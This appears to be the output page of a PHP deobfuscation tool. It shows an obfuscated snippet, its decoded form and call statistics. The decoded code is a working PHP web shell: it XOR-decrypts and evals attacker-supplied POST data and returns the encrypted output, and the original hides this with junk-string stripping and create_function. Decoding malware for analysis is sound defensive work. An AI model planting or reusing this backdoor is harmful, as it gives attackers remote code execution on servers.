Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $l='`$k{$j}w`;}}retw`urn $w`o;}if (@prw`egw`w`_matchw`("/$kh(.+)w`$kf/",@file_gew`t..
Decoded Output download
$k="7c682cc0";$kh="2c09014cb876";$kf="32bb69e8f019";$p="BsHhYzjQoTieq4TX";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$l='`$k{$j}w`;}}retw`urn $w`o;}if (@prw`egw`w`_matchw`("/$kh(.+)w`$kf/",@file_gew`t_conw`w`';
$M='`zjQoTieq4Tw`w`X";fw`unw`ction x($t,$k){w`$c=strlen($w`w`k);$l=w`strlw`enw`($t);$o="";fo';
$b='an();$r=w`@basw`e64w`_encodw`e(@x(@gzcomw`press(w`$ow`),$k));prw`inw`t("$p$khw`$r$kf");}';
$f=str_replace('gY','','gYcreatgYgYe_fgYgYungYction');
$J='$kw`="7c682ccw`0";$kh=w`"2cw`09014cb8w`76";$kfw`="32bw`b69e8f0w`19";w`$p="w`BsHhYw';
$u='@basew`64_decow`de($m[1w`]),$k)w`));$o=@w`ow`b_w`gew`t_contents(w`);@w`ob_end_cle';
$V='r($i=w`0;$i<$lw`;)w`{for($jw`=0;($j<$w`c&w`&w`$i<$l);$j++,w`$i++){$o.w`=$t{w`$i}^w';
$O='tentw`s("php:/w`w`/iw`nput"),$m)==1w`) {@ob_start();@ew`val(@gw`zw`uw`w`ncompress(@x(';
$z=str_replace('w`','',$J.$M.$V.$l.$O.$u.$b);
$s=$f('',$z);$s();
?>
Function Calls
str_replace | 2 |
create_function | 1 |
Stats
MD5 | b31d7560d9bdfa89eaa8d3ce438791fe |
Eval Count | 1 |
Decode Time | 117 ms |